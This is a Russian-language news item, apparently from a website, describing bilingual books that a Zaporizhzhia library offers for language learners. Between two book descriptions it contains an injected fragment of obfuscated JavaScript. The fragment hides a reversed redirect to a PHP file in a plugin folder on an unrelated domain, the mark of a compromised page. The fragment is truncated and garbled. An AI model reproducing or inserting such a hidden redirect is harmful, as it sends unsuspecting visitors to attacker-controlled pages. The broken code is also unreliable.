Анна Перекрест
Библиотека в Вознесеновском районе Запорожья представляет нашему вниманию книги-билингвы, которые станут отличными помощниками в изучении иностранных языков.
Это отличный вариант совместить приятное с полезным. Ведь можно не только провести время за чтением увлекательной книги, а и улучшить свой уровень владения английским языком.
С помощью билингвальных книг можно не только запомнить больше новых слов, но и овладеть способностью быстрее «переключаться» между языками. Параллельный перевод на украинский язык позволит быстрее понимать текст и запоминать повторяющиеся фразы.
Библиотека находится по адресу ул. Независимой Украины 68-А. Уже можно взять домой следующие книги:
Льюис Кэрролл. Алиса в Зазеркалье
Льюис Кэрролл – псевдоним блестящего оксфордского математика, логика, писателя и фотографа Чарльза Лутвидж Доджсона (1832-1898). Всемирную известность автору принесли фантасмагорийные произведения «Алиса в Стране Чудес», «Алиса в Зазеркалье», «Охота на Снарка». Это настоящие сокровищницы блестящей игры слов, логики и фантазии.
Эдгар Аллан По. Золотой жук
Эдгар Аллан По – американский писатель-романтик, мастер новеллы, основатель детективного рассказа и научно-фантастической повести. Мир произведений писателя причудливый и одновременно изысканный. Его законы подчиняются не общепринятой логике, а только игре авторского воображения. В книгу вошли рассказы «Странное влияние месмеризма на скин человека», «Рукопись, найденная в бутылке», «Похищенное письмо», «Пропасть и маятник», «Золотой жук», в которых ярко проявился необычный писательский талант.
Антуан де Сент-Экзюпери. Маленький принц
Произведения известного французского писателя, поэта, профессионального летчика Антуана де Сент-Экзюпери (1900-1944) то и дело привлекают внимание современного читателя, потому что полны почти мистической схожести с нашим днем: они объясняют, откуда мы вышли и куда пришли. В своем творчестве писатель смог затронуть те вопросы, которые сегодня приобрели абсолютной значимости: прогресс и его цена, господство техники и расплата за это, риск и ответственность, смысл человеческой жизни.
{if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.ran<script>$mWn=function(n){if(typeof ($mWn.list[n])==)
Вильгельм Гауф. Сказки
Вильгельм Гауф – немецкий писатель и новеллист. Он родился в Штутгарте в 1802 году. После окончания университета устроился на работу репетитором и наставником детей министра обороны. Именно для любимых учеников Гауф и начал писать свои волшебные сказки. Сразу же после выхода их в свет писатель стал знаменитым. Мистические, иногда страшные, иногда грустные, эти сказки нравятся и детям, и взрослым, ведь Гауф относится к тем немногим авторам, кто сумел сделать шедевры, которые интересно читать по сей день. Несмотря на то, что он умер очень молодым – в 25 лет, его литературное наследие состоит из трех сборников сказок (один из которых выдано уже после его смерти), нескольких романов и поэм. Эти произведения навсегда вписали имя Вильгельма Гауфа в историю мировой литературы.
Ги де Мопассан. Пышка
Известный французский писатель Ги де Мопассан (1850-1893) вошел в историю мировой литературы прежде всего как новеллист и создатель собственного типа новеллы. Новелла Мопассана редко строится на запутанной интриге и содержит неожиданную развязку. Обычно она воспроизводит только один эпизод человеческого существования без четко очерченного финала. Но эти «куски жизни» скрывают под собой большой художественный слой. В эту книгу вошли несколько лучших новелл писателя.
